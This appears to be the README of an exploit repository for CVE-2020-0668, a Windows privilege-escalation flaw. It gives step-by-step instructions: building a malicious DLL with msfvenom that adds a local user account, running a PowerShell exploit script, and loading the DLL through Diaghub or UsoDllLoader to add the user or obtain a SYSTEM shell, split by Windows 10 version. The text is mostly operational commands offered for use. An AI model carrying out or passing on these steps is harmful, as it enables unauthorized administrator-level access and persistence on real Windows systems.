Make CVE-2020-0668 exploit work for version < win10 v1903 and version >= win10 v1903
powershell exploit works on version < win10 v1903 with Diaghub.
- STEP 1:generate
evil.dll
with msfvenom- example add a user :
msfvenom -p windows/x64/exec CMD="net user test test /add" -f dll > evil.dll
- example add a user :
- STEP 2:execute
exp.ps1
with powershell - STEP 3:execute
Diaghub.exe C:\ProgramData evil.dll
to load dll and add user.
powershell exploit works on version >= win10 v1903 with UsoDllLoader.
- STEP 1 : execute
exp.ps1
with powershell - STEP 2 : execute
UsoDllLoader.exe
to get a system shell
A x86 release version of SysTracingPoc for issue,exploit works on version >= win10 v1903 because of UsoLoadDll.
A .net PoC. If you take a look at C:\Windows\System32\evil.dll
and rename it as evil.txt
.
You will find it not a dll file. Only tracing log in it.
A powershell PoC. Also only tracing log in evil.dll.